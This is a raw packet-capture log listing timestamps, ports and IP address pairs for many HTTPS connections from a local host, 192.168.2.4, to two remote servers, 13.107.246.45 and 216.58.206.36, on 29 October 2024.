Oct 29, 2024 10:47:44.024256945 CET	443	49834	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.024285078 CET	49834	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.024301052 CET	443	49834	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.024319887 CET	49835	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.024441957 CET	443	49832	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.024445057 CET	49835	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.024466991 CET	443	49835	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.024492025 CET	49835	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.024502993 CET	49832	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.024506092 CET	443	49835	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.024764061 CET	49832	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.024781942 CET	443	49832	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.024805069 CET	49832	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.024815083 CET	443	49832	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.027261019 CET	49840	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.027304888 CET	443	49840	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.027414083 CET	49841	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.027440071 CET	49840	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.027461052 CET	443	49841	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.027510881 CET	49841	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.027570963 CET	49840	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.027595043 CET	443	49840	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.027698994 CET	49841	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.027724981 CET	443	49841	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.028559923 CET	49842	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.028584957 CET	443	49842	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.028687000 CET	49842	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.028847933 CET	49842	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.028872967 CET	443	49842	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.752263069 CET	443	49839	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.752962112 CET	49839	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.752994061 CET	443	49839	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.753493071 CET	49839	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.753504038 CET	443	49839	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.754076958 CET	443	49838	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.754945040 CET	49838	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.754945040 CET	49838	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.754971027 CET	443	49838	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.754992962 CET	443	49838	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.761464119 CET	443	49841	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.762190104 CET	49841	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.762191057 CET	49841	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.762276888 CET	443	49841	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.762339115 CET	443	49841	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.768085003 CET	443	49840	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.768858910 CET	49840	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.768863916 CET	49840	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.768932104 CET	443	49840	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.768961906 CET	443	49840	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.773834944 CET	443	49842	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.774182081 CET	49842	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.774199963 CET	443	49842	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.774521112 CET	49842	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.774532080 CET	443	49842	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.869927883 CET	443	49837	216.58.206.36	192.168.2.4
Oct 29, 2024 10:47:44.870306015 CET	49837	443	192.168.2.4	216.58.206.36
Oct 29, 2024 10:47:44.870336056 CET	443	49837	216.58.206.36	192.168.2.4
Oct 29, 2024 10:47:44.871731043 CET	443	49837	216.58.206.36	192.168.2.4
Oct 29, 2024 10:47:44.872267962 CET	49837	443	192.168.2.4	216.58.206.36
Oct 29, 2024 10:47:44.872572899 CET	443	49837	216.58.206.36	192.168.2.4
Oct 29, 2024 10:47:44.887195110 CET	443	49839	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.887263060 CET	443	49839	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.887296915 CET	443	49838	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.887406111 CET	443	49838	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.887449980 CET	49839	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.887502909 CET	49839	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.887502909 CET	49839	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.887525082 CET	443	49839	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.887537956 CET	443	49839	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.887573957 CET	49838	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.887732029 CET	49838	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.887732029 CET	49838	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.887778044 CET	443	49838	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.887804985 CET	443	49838	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.890366077 CET	49844	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.890381098 CET	49843	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.890389919 CET	443	49844	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.890469074 CET	443	49843	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.890579939 CET	49844	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.890583038 CET	49843	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.890717983 CET	49843	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.890738964 CET	443	49843	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.890825987 CET	49844	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.890839100 CET	443	49844	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.896919012 CET	443	49841	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.897121906 CET	443	49841	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.897233963 CET	49841	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.897233963 CET	49841	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.899360895 CET	49841	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.899379015 CET	49845	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.899386883 CET	443	49841	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.899430037 CET	443	49845	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.899578094 CET	443	49840	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.899588108 CET	49845	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.899709940 CET	443	49840	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.899755955 CET	49845	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.899785995 CET	443	49845	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.899825096 CET	49840	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.899826050 CET	49840	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.899826050 CET	49840	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.901629925 CET	49846	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.901644945 CET	443	49846	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.901840925 CET	49846	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.901840925 CET	49846	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.901864052 CET	443	49846	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.903743982 CET	443	49842	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.903891087 CET	443	49842	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.904006958 CET	49842	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.904007912 CET	49842	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.904177904 CET	49842	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.904213905 CET	443	49842	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.905880928 CET	49847	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.905903101 CET	443	49847	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.906260014 CET	49847	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.906595945 CET	49847	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:44.906620979 CET	443	49847	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:44.922475100 CET	49837	443	192.168.2.4	216.58.206.36
Oct 29, 2024 10:47:45.108484030 CET	49840	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:45.108549118 CET	443	49840	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:45.625037909 CET	443	49843	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:45.625549078 CET	49843	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:45.625581980 CET	443	49843	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:45.626105070 CET	49843	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:45.626111984 CET	443	49843	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:45.629684925 CET	443	49844	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:45.630055904 CET	49844	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:45.630084038 CET	443	49844	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:45.630459070 CET	49844	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:45.630465984 CET	443	49844	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:45.635742903 CET	443	49846	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:45.636081934 CET	49846	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:45.636090994 CET	443	49846	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:45.636430979 CET	49846	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:45.636435986 CET	443	49846	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:45.639034986 CET	443	49845	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:45.639399052 CET	49845	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:45.639415979 CET	443	49845	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:45.640125036 CET	49845	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:45.640130043 CET	443	49845	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:45.671168089 CET	443	49847	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:45.671946049 CET	49847	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:45.671964884 CET	443	49847	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:45.672991037 CET	49847	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:45.673002005 CET	443	49847	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:45.753755093 CET	443	49843	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:45.753824949 CET	443	49843	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:45.754007101 CET	49843	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:45.754070997 CET	49843	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:45.754113913 CET	443	49843	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:45.754146099 CET	49843	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:45.754162073 CET	443	49843	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:45.756437063 CET	49848	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:45.756467104 CET	443	49848	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:45.756577969 CET	49848	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:45.756717920 CET	49848	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:45.756730080 CET	443	49848	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:45.766273022 CET	443	49846	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:45.766541958 CET	443	49846	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:45.766616106 CET	49846	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:45.766671896 CET	49846	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:45.766671896 CET	49846	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:45.766706944 CET	443	49846	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:45.766735077 CET	443	49846	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:45.767424107 CET	443	49845	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:45.767812967 CET	443	49845	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:45.767868996 CET	49845	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:45.767924070 CET	49845	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:45.767975092 CET	443	49845	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:45.768008947 CET	49845	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:45.768024921 CET	443	49845	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:45.769200087 CET	49849	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:45.769232035 CET	443	49849	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:45.769459009 CET	49849	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:45.769612074 CET	49849	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:45.769627094 CET	443	49849	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:45.769778013 CET	49850	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:45.769798040 CET	443	49850	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:45.769936085 CET	49850	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:45.770054102 CET	49850	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:45.770061970 CET	443	49850	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:45.804922104 CET	443	49847	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:45.805072069 CET	443	49847	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:45.805195093 CET	49847	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:45.805226088 CET	49847	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:45.805233955 CET	443	49847	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:45.805255890 CET	49847	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:45.805259943 CET	443	49847	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:45.807296038 CET	49851	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:45.807310104 CET	443	49851	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:45.807368994 CET	49851	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:45.807499886 CET	49851	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:45.807507038 CET	443	49851	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:45.902909994 CET	443	49844	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:45.902983904 CET	443	49844	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:45.903031111 CET	49844	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:45.903139114 CET	49844	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:45.903146029 CET	443	49844	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:45.903157949 CET	49844	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:45.903163910 CET	443	49844	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:45.905190945 CET	49852	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:45.905230045 CET	443	49852	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:45.905319929 CET	49852	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:45.905457020 CET	49852	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:45.905477047 CET	443	49852	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:46.489239931 CET	443	49848	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:46.489800930 CET	49848	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:46.489823103 CET	443	49848	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:46.491558075 CET	49848	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:46.491564035 CET	443	49848	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:46.518369913 CET	443	49850	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:46.519009113 CET	49850	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:46.519023895 CET	443	49850	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:46.521920919 CET	49850	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:46.521936893 CET	443	49850	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:46.544831991 CET	443	49851	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:46.545245886 CET	49851	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:46.545278072 CET	443	49851	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:46.545613050 CET	49851	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:46.545625925 CET	443	49851	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:46.556072950 CET	443	49849	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:46.556467056 CET	49849	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:46.556492090 CET	443	49849	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:46.556895971 CET	49849	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:46.556901932 CET	443	49849	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:46.619045019 CET	443	49848	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:46.619107962 CET	443	49848	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:46.619405031 CET	49848	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:46.619405031 CET	49848	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:46.619436026 CET	49848	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:46.619452953 CET	443	49848	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:46.622047901 CET	49853	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:46.622102976 CET	443	49853	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:46.622306108 CET	49853	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:46.622569084 CET	49853	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:46.622586966 CET	443	49853	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:46.638740063 CET	443	49852	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:46.639734983 CET	49852	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:46.639734983 CET	49852	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:46.639774084 CET	443	49852	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:46.639791965 CET	443	49852	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:46.668781042 CET	443	49850	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:46.669097900 CET	443	49850	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:46.669215918 CET	49850	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:46.669215918 CET	49850	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:46.669249058 CET	49850	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:46.669259071 CET	443	49850	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:46.672952890 CET	49854	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:46.672981977 CET	443	49854	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:46.674082994 CET	49854	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:46.674354076 CET	49854	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:46.674367905 CET	443	49854	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:46.674902916 CET	443	49851	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:46.675035954 CET	443	49851	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:46.677701950 CET	49851	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:46.677701950 CET	49851	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:46.677747965 CET	49851	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:46.677767038 CET	443	49851	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:46.679769039 CET	49855	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:46.679812908 CET	443	49855	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:46.679914951 CET	49855	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:46.679985046 CET	49855	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:46.680002928 CET	443	49855	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:46.690902948 CET	443	49849	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:46.691039085 CET	443	49849	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:46.691164017 CET	49849	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:46.691359043 CET	49849	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:46.691378117 CET	443	49849	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:46.691421986 CET	49849	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:46.691426992 CET	443	49849	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:46.693373919 CET	49856	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:46.693403006 CET	443	49856	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:46.693578959 CET	49856	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:46.693629980 CET	49856	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:46.693658113 CET	443	49856	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:46.768328905 CET	443	49852	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:46.768544912 CET	443	49852	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:46.768744946 CET	49852	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:46.768826008 CET	49852	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:46.768826008 CET	49852	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:46.768838882 CET	443	49852	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:46.768848896 CET	443	49852	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:46.772409916 CET	49857	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:46.772425890 CET	443	49857	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:46.772624016 CET	49857	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:46.772624016 CET	49857	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:46.772648096 CET	443	49857	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:47.348359108 CET	443	49853	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:47.360274076 CET	49853	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:47.360337019 CET	443	49853	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:47.360975027 CET	49853	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:47.360986948 CET	443	49853	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:47.402714968 CET	443	49854	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:47.415635109 CET	49854	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:47.415654898 CET	443	49854	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:47.416523933 CET	49854	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:47.416528940 CET	443	49854	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:47.432094097 CET	443	49856	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:47.436605930 CET	49856	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:47.436625004 CET	443	49856	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:47.437181950 CET	49856	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:47.437187910 CET	443	49856	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:47.451709032 CET	443	49855	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:47.452157021 CET	49855	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:47.452177048 CET	443	49855	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:47.452573061 CET	49855	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:47.452579021 CET	443	49855	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:47.486799955 CET	443	49853	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:47.486881971 CET	443	49853	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:47.487020969 CET	49853	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:47.516918898 CET	443	49857	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:47.541486979 CET	443	49854	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:47.541552067 CET	443	49854	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:47.541675091 CET	49854	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:47.562989950 CET	443	49856	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:47.563056946 CET	443	49856	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:47.563142061 CET	49856	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:47.567342043 CET	49857	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:47.574357986 CET	49853	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:47.574381113 CET	443	49853	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:47.588572979 CET	443	49855	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:47.590074062 CET	443	49855	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:47.590169907 CET	49855	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:47.873179913 CET	49857	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:47.873205900 CET	443	49857	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:47.873327971 CET	49854	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:47.873347998 CET	443	49854	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:47.873363018 CET	49854	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:47.873369932 CET	443	49854	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:47.873936892 CET	49857	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:47.873943090 CET	443	49857	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:47.874238968 CET	49856	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:47.874238968 CET	49856	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:47.874265909 CET	443	49856	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:47.874275923 CET	443	49856	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:47.889539003 CET	49855	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:47.889539003 CET	49855	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:47.889550924 CET	443	49855	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:47.889555931 CET	443	49855	13.107.246.45	192.168.2.4
Oct 29, 2024 10:47:47.903892994 CET	49858	443	192.168.2.4	13.107.246.45
Oct 29, 2024 10:47:47.903928995 CET	443	49858	13.107.246.45	192.168.2.4
